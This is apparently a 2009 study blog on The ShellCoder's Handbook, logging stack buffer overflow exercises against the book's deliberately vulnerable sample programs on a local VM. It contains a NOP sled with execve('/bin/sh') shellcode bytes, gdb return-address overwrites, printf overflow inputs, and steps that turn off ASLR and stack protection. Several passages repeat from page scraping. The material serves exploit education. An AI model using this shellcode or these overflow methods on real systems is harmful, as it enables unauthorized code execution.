This is a notebook for working through The ShellCoder's Handbook, 2nd Edition (Anley, Heasman, Linder, Richarte), wherein things that gives one pause as a shellcoding amateur are documented. Hopefully, someone other than me finds this helpful, but it's okay if you are too 31337 to pick up anyting valuable here. Comments, questions, and contributions are more than welcome.
Thursday, April 16, 2009
Debian 2.4 Kernel VMWare image ready!
I've created a Debian 3.1 (Sarge) VMWare image, featuring the delightfully insecure 2.4 Linux kernel, after several hours of piecing together the Debian jigdo distribution. It's available here.
Wednesday, April 15, 2009
Illustrating the NOP sled, page 34
Happily, nopattack.c works like a champ. The immediate problem with attack.c was that I was never getting down to the final system("/bin/bash") call in main(), so I was never going to guess ESP correctly. No such problems plague nopattack.c, though.
The only mild criticism I have at this point is that the eventual value of the environment variable, $BUF, is never really spelled out in the text. So, this is what it looks like (interpreted through irb):
The only mild criticism I have at this point is that the eventual value of the environment variable, $BUF, is never really spelled out in the text. So, this is what it looks like (interpreted through irb):
irb(main):005:0> buf = %x['set'].split(/\n/)[1]That's a mighty fine NOP sled.
=> "BUF='\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\353\032^1\300\210F\a\215\036\211^\b\211F\f\260\v\211\363\215N\b\215V\f\315\200\350\341\377\377\377/bin/sh\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377'"
irb(main):006:0> buf[5,10240].unpack("H*").first.scan(/../).join(' ')
=> "90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1 ff ff ff 2f 62 69 6e 2f 73 68 ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff 27"
Tuesday, April 14, 2009
Cheaters! Page 32
Well, even after all that, couldn't get myself a root shell. Couple things to note:
attack.c doesn't actually run correctly for me -- I get a segfault on run in the neighborhood of line 34. Since my C skills are atrocious, I just rewrote the thing in ruby to do what I think it's supposed to do. However, even with this work-around, I can't trigger the vulnerability in victim.c beyond a segfault. But apparently, that's okay, neither could the authors, since they admit that they "cheated a little bit, to be honest," on page 32, using a different exploit with a different return address.
On to NOPs!
attack.c doesn't actually run correctly for me -- I get a segfault on run in the neighborhood of line 34. Since my C skills are atrocious, I just rewrote the thing in ruby to do what I think it's supposed to do. However, even with this work-around, I can't trigger the vulnerability in victim.c beyond a segfault. But apparently, that's okay, neither could the authors, since they admit that they "cheated a little bit, to be honest," on page 32, using a different exploit with a different return address.
On to NOPs!
Avoiding ASLR, Page 28
So, I'm trying to get the local DVD ISO's of Debian 3.1r4, and it's going to take at least all day to download. The archival ISOs are only in jigdo format, which means you have to download all the individual debs -- I'm unable to find any ISOs Debian 3.1 (Sarge) of any revision.
I briefly toyed with an old Fedora Core 4 VMWare image from the VMWare Appliance store, but it's useless since it didn't ship with a compiler (no gcc or cc at all! Useless!). So, never mind on all that.
I suppose it's for the best. If ASLR is the state of the art today, I guess I may as well just read through the old way of doing things on Linux, and not worry too much about replicating the results of exploiting with static stack layouts.
But not so fast! I little bit more Googling turned up the correct sysctl options. Thanks to Smash the Stack, I found this, and it works like a champ:
By the way, here's the jigdo command line, if you'd like to give building Sarge a whirl:
I briefly toyed with an old Fedora Core 4 VMWare image from the VMWare Appliance store, but it's useless since it didn't ship with a compiler (no gcc or cc at all! Useless!). So, never mind on all that.
But not so fast! I little bit more Googling turned up the correct sysctl options. Thanks to Smash the Stack, I found this, and it works like a champ:
todb@mazikeen:~/dev/sc$ sudo /sbin/sysctl -w kernel.randomize_va_space=0Huzzah! So, back to page 28.
kernel.randomize_va_space = 0
todb@mazikeen:~/dev/sc$ gcc find_start.c -o find_start
todb@mazikeen:~/dev/sc$ ./find_start
Found start: 0xbffff344
todb@mazikeen:~/dev/sc$ ./find_start
Found start: 0xbffff344
By the way, here's the jigdo command line, if you'd like to give building Sarge a whirl:
jigdo-lite http://cdimage.debian.org/cdimage/archive/3.1_r4/i386/jigdo-dvd/debian-31r4-i386-binary-1.jigdoThat bad boy is still churning away.
jigdo-lite http://cdimage.debian.org/cdimage/archive/3.1_r4/i386/jigdo-dvd/debian-31r4-i386-binary-2.jigdo
Monday, April 13, 2009
Chapter 2, "Overflowing Buffers on the Stack," page 28
Welp, it looks like it's the end of the line for my stock Ubuntu kernel -- it's clear that Ubuntu 8.10 is using ASLR (Address Space Layout Randomization), as described later in Chapter 14, on page 396.
Now, I did mess with find_start.c a little to match up where the stack actually starts with what's reported in /proc/<pid>/maps. Here's that -- and this looks like it might be marginally useful in actual exploitation:
Running this a few times elicits different results for both the found start value, and the start and end of the stack. Too bad I'm way too stupid to work through how to fix this up with my usual running kernel -- I will have to procure or compile a new kernel without ASLR to make any more headway with this example exploit. I guess I'll get back to it later.
One great pointer here though is that this author states he's "running on Debian 3.1r4," so it would probably be a good idea to create a VM with that distro for the rest of the exercises. It'll still be interesting to note where certain attacks succeed on this (multiyear out of date) build versus the new Linux hotness. this link (specifically the gnome.org version) may work for our purposes.
Now, I did mess with find_start.c a little to match up where the stack actually starts with what's reported in /proc/<pid>/maps. Here's that -- and this looks like it might be marginally useful in actual exploitation:
#includeExcuse my ghetto C, but this allows me to see output like:
// find_start.c
unsigned int find_start(void)
{
__asm__("movl %esp, %eax");
}
int main()
{
printf("Found start: 0x%x\n",find_start());
printf("*********************************\n");
char path[80];
sprintf(path, "/proc/%d/maps",getpid());
printf("Snarfing %s\n",path);
char *cmd[3];
cmd[0] = "/bin/cat";
cmd[1] = path;
cmd[2] = 0x0;
execv(cmd[0],cmd);
}
todb@mazikeen:~/dev/sc$ ./find_start
Found start: 0xbfb17e7c
*********************************
Snarfing /proc/4264/maps
[... memory map here...]
bfb05000-bfb1a000 rw-p bffeb000 00:00 0 [stack]
todb@mazikeen:~/dev/sc$
Running this a few times elicits different results for both the found start value, and the start and end of the stack. Too bad I'm way too stupid to work through how to fix this up with my usual running kernel -- I will have to procure or compile a new kernel without ASLR to make any more headway with this example exploit. I guess I'll get back to it later.
One great pointer here though is that this author states he's "running on Debian 3.1r4," so it would probably be a good idea to create a VM with that distro for the rest of the exercises. It'll still be interesting to note where certain attacks succeed on this (multiyear out of date) build versus the new Linux hotness. this link (specifically the gnome.org version) may work for our purposes.
Chapter 2, "Overflowing Buffers on the Stack," page 27
Compiling the supplied shellcode.c seems to work, but it doesn't with the indicated command line.
Compiling with the preferred stack boundary set will make the supplied shellcode usable:
This post talks a little about what preferred-stack-boundary actually does (he quotes, apparently, from here); since this is shellcode, I assume the default boundary of 4 is causing the opcodes to get misaligned when it's left off of the gcc command line.
todb@mazikeen:~/dev/sc$ gcc shellcode.c -o shellcode
todb@mazikeen:~/dev/sc$ ./shellcode
todb@mazikeen:~/dev/sc$ echo $SHELL
/bin/bash
todb@mazikeen:~/dev/sc$
Compiling with the preferred stack boundary set will make the supplied shellcode usable:
todb@mazikeen:~/dev/sc$ gcc -mpreferred-stack-boundary=2 shellcode.c -o shellcodeNote, in the first place, all we did was return -- we weren't in a new spawned shell at all (or else we would see the bare sh prompt instead of my decorated bash prompt).
todb@mazikeen:~/dev/sc$ ./shellcode
$ echo $SHELL
This post talks a little about what preferred-stack-boundary actually does (he quotes, apparently, from here); since this is shellcode, I assume the default boundary of 4 is causing the opcodes to get misaligned when it's left off of the gcc command line.
Thursday, April 9, 2009
Chapter 2, Example 2-3, "Overflowing Buffers on the Stack," page 23
So, first off, I've downloaded the real code examples from Wiley, here. From here on in, I'll be using their code, rather than retyping it myself like a dunderhead.
Second, I wasn't getting my exploit to work exactly as expected. Turns out, I have an extra 4 bytes at the end of my array[30] buffer that I have to get through. This became obvious when I looked at the dump:
Oh2, hugely useful is gdb's text UI. Type Ctrl-X, Ctrl-A to get a view into the source code and where you're at when you hit your breakpoints, and "layout regs" to read your registers directly. Ctrl-X Ctrl-A to get back to regular console mode.
Second, I wasn't getting my exploit to work exactly as expected. Turns out, I have an extra 4 bytes at the end of my array[30] buffer that I have to get through. This became obvious when I looked at the dump:
(gdb) disassemble return_inputIt took a teeny bit of experimentation, but now I can see that my old return address, 0x0804841a, is overwritten with 0x48474645, which is little-endian hex for "EFGH" -- my "ABCD" ends up elswhere. I'm not sure from whence this extra space comes from, but my array[30] still seems safe up up to three bytes past the end:
Dump of assembler code for function return_input:
0x080483f4: push %ebp
0x080483f5: mov %esp,%ebp
0x080483f7: sub $0x24,%esp
0x080483fa: lea -0x1e(%ebp),%eax
0x080483fd: mov %eax,(%esp)
0x08048400: call 0x8048308
0x08048405: lea -0x1e(%ebp),%eax
0x08048408: mov %eax,(%esp)
0x0804840b: call 0x8048328
0x08048410: leave
0x08048411: ret
End of assembler dump.
(gdb) break *0x08048400
Breakpoint 1 at 0x8048400: file overflow.c, line 4.
(gdb) break *0x08048411
Breakpoint 2 at 0x8048411: file overflow.c, line 6.
(gdb) run
Starting program: /home/todb/dev/sc/overflow
Breakpoint 1, 0x08048400 in return_input () at overflow.c:4
4 gets (array);
(gdb) disas main
Dump of assembler code for function main:
0x08048412: push %ebp
0x08048413: mov %esp,%ebp
0x08048415: call 0x80483f4
0x0804841a: mov $0x0,%eax
0x0804841f: pop %ebp
0x08048420: ret
End of assembler dump.
(gdb) x/20x $esp
0xbfc7b80c: 0xbfc7b812 0xb7f46ff4 0x08049ff4 0xbfc7b838
0xbfc7b81c: 0x08048459 0xb7f6ff50 0x08048340 0x0804844b
0xbfc7b82c: 0xb7f46ff4 0xbfc7b838 0x0804841a 0xbfc7b898
0xbfc7b83c: 0xb7e03685 0x00000001 0xbfc7b8c4 0xbfc7b8cc
0xbfc7b84c: 0xb7f61b38 0x00000001 0x00000001 0x00000000
(gdb) continue
Continuing.
111111111122222222223333333333ABCDEFGH
111111111122222222223333333333ABCDEFGH
Breakpoint 2, 0x08048411 in return_input () at overflow.c:6
6 }
(gdb) x/20x 0xbfc7b80c
0xbfc7b80c: 0xbfc7b812 0x31316ff4 0x31313131 0x31313131
0xbfc7b81c: 0x32323232 0x32323232 0x33333232 0x33333333
0xbfc7b82c: 0x33333333 0x44434241 0x48474645 0xbfc7b800
0xbfc7b83c: 0xb7e03685 0x00000001 0xbfc7b8c4 0xbfc7b8cc
0xbfc7b84c: 0xb7f61b38 0x00000001 0x00000001 0x00000000
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890A" | ./overflowAt any rate, the exploit works just fine with the extra padding:
123456789012345678901234567890A
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AA" | ./overflow
123456789012345678901234567890AA
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAA" | ./overflow
123456789012345678901234567890AAA
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAAA" | ./overflow
123456789012345678901234567890AAAA
Segmentation fault (core dumped)
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAAA\x15\x84\x04\x08" | ./overflowOh, and I should mention this somewhere explicit, that I'm using Ubuntu 8.10, stock everything for the purposes of Shellcoder's (I have some custom pcap stuff, but nothing that should affect these exercises).
123456789012345678901234567890AAAA�
123456789012345678901234567890AAAA�
Oh2, hugely useful is gdb's text UI. Type Ctrl-X, Ctrl-A to get a view into the source code and where you're at when you hit your breakpoints, and "layout regs" to read your registers directly. Ctrl-X Ctrl-A to get back to regular console mode.
Wednesday, April 8, 2009
Chapter 2, Example 2-3, "Overflowing Buffers on the Stack," page 19
If you are running a 2.6.x Linux kernel (like me), you will need to compile code with -fno-stack-protector:
Otherwise, your buffer overflow will produce totally different (and usually very useful, but maybe not in this case) results:
With -fno-stack-protection, the output looks a lot more like the book's:
By disabling Linux (Debian's / Ubuntu's) stack protection, the gdb output looks a lot closer to what the book describes, as well.
todb@mazikeen:~/dev/sc$ gcc -mpreferred-stack-boundary=2 -fno-stack-protector -ggdb 2-3.c -o overflow
Otherwise, your buffer overflow will produce totally different (and usually very useful, but maybe not in this case) results:
todb@mazikeen:~/dev/sc$ ./overflow
AAAAAAAAAAB
AAAAAAAAAAB
*** stack smashing detected ***: ./overflow terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x4b)[0xb7ed005b]
/lib/libc.so.6(__fortify_fail+0x0)[0xb7ed0010]
./overflow[0x804842c]
./overflow[0x8048436]
/lib/libc.so.6(__libc_start_main+0xe5)[0xb7e03685]
./overflow[0x8048391]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 168557 /home/todb/dev/sc/overflow
08049000-0804a000 rw-p 00000000 08:01 168557 /home/todb/dev/sc/overflow
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7dec000-b7ded000 rw-p b7dec000 00:00 0
b7ded000-b7f2a000 r-xp 00000000 08:01 13388391 /lib/libc-2.8.90.so
b7f2a000-b7f2c000 r--p 0013d000 08:01 13388391 /lib/libc-2.8.90.so
b7f2c000-b7f2d000 rw-p 0013f000 08:01 13388391 /lib/libc-2.8.90.so
b7f2d000-b7f30000 rw-p b7f2d000 00:00 0
b7f33000-b7f40000 r-xp 00000000 08:01 13385851 /lib/libgcc_s.so.1
b7f40000-b7f41000 r--p 0000c000 08:01 13385851 /lib/libgcc_s.so.1
b7f41000-b7f42000 rw-p 0000d000 08:01 13385851 /lib/libgcc_s.so.1
b7f42000-b7f45000 rw-p b7f42000 00:00 0
b7f45000-b7f5f000 r-xp 00000000 08:01 13385969 /lib/ld-2.8.90.so
b7f5f000-b7f60000 r-xp b7f5f000 00:00 0 [vdso]
b7f60000-b7f61000 r--p 0001a000 08:01 13385969 /lib/ld-2.8.90.so
b7f61000-b7f62000 rw-p 0001b000 08:01 13385969 /lib/ld-2.8.90.so
bf866000-bf87b000 rw-p bffeb000 00:00 0 [stack]
Aborted (core dumped)
With -fno-stack-protection, the output looks a lot more like the book's:
todb@mazikeen:~/dev/sc$ ./overflow
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
Segmentation fault (core dumped)
By disabling Linux (Debian's / Ubuntu's) stack protection, the gdb output looks a lot closer to what the book describes, as well.
Subscribe to:
Posts (Atom)